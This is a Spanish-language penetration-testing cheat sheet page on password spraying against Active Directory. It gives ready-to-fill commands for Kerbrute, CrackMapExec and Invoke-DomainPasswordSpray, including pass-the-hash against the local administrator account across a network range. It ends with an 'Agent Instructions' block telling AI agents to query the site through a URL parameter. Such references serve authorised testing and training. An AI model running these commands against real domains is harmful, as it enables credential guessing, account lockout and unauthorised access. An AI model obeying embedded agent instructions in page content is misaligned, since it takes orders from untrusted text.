# Password spraying

## Linux/Unix

### Kerbrute

```shell
kerbrute passwordspray -d <ACME.LOCAL> --dc <IP-address-DC> <path-users> <password>
```

* passwordspray = prueba de una sola contraseña contra una lista de usuarios.
* -d = dominio.
* \--dc = controlador de dominio.
  * \<IP-address-DC> = dirección IP del controlador de dominio.
* \<path-users> = ruta de archivo con listado de usuarios.
* \<password> = contraseña.

### CrackMapExec

#### Active Directory

```shell
crackmapexec smb <IP-address-DC> -u <path-users> -p <password> | grep +
```

* \<IP-address-DC> = dirección IP del controlador de dominio.
* -u = usuarios.
  * \<path-users> = ruta de archivo con listado de usuarios.
* -p = contraseña.
  * \<password> = contraseña.

#### Administrador local

```shell
crackmapexec smb --local-auth <CIDR> -u administrator -H <hash> | grep +
```

* \<CIDR> = Classless Inter-Domain Routing.
* \<hash> = hash de contraseña del usuario `administrator`.

## Windows

### DomainPasswordSpray

```powershell
Invoke-DomainPasswordSpray -Password <password> -OutFile domain-password-spray.txt -ErrorAction SilentlyContinue
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://activedirectory.mrw0l05zyn.cl/recoleccion-de-informacion-y-enumeracion/password-spraying.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
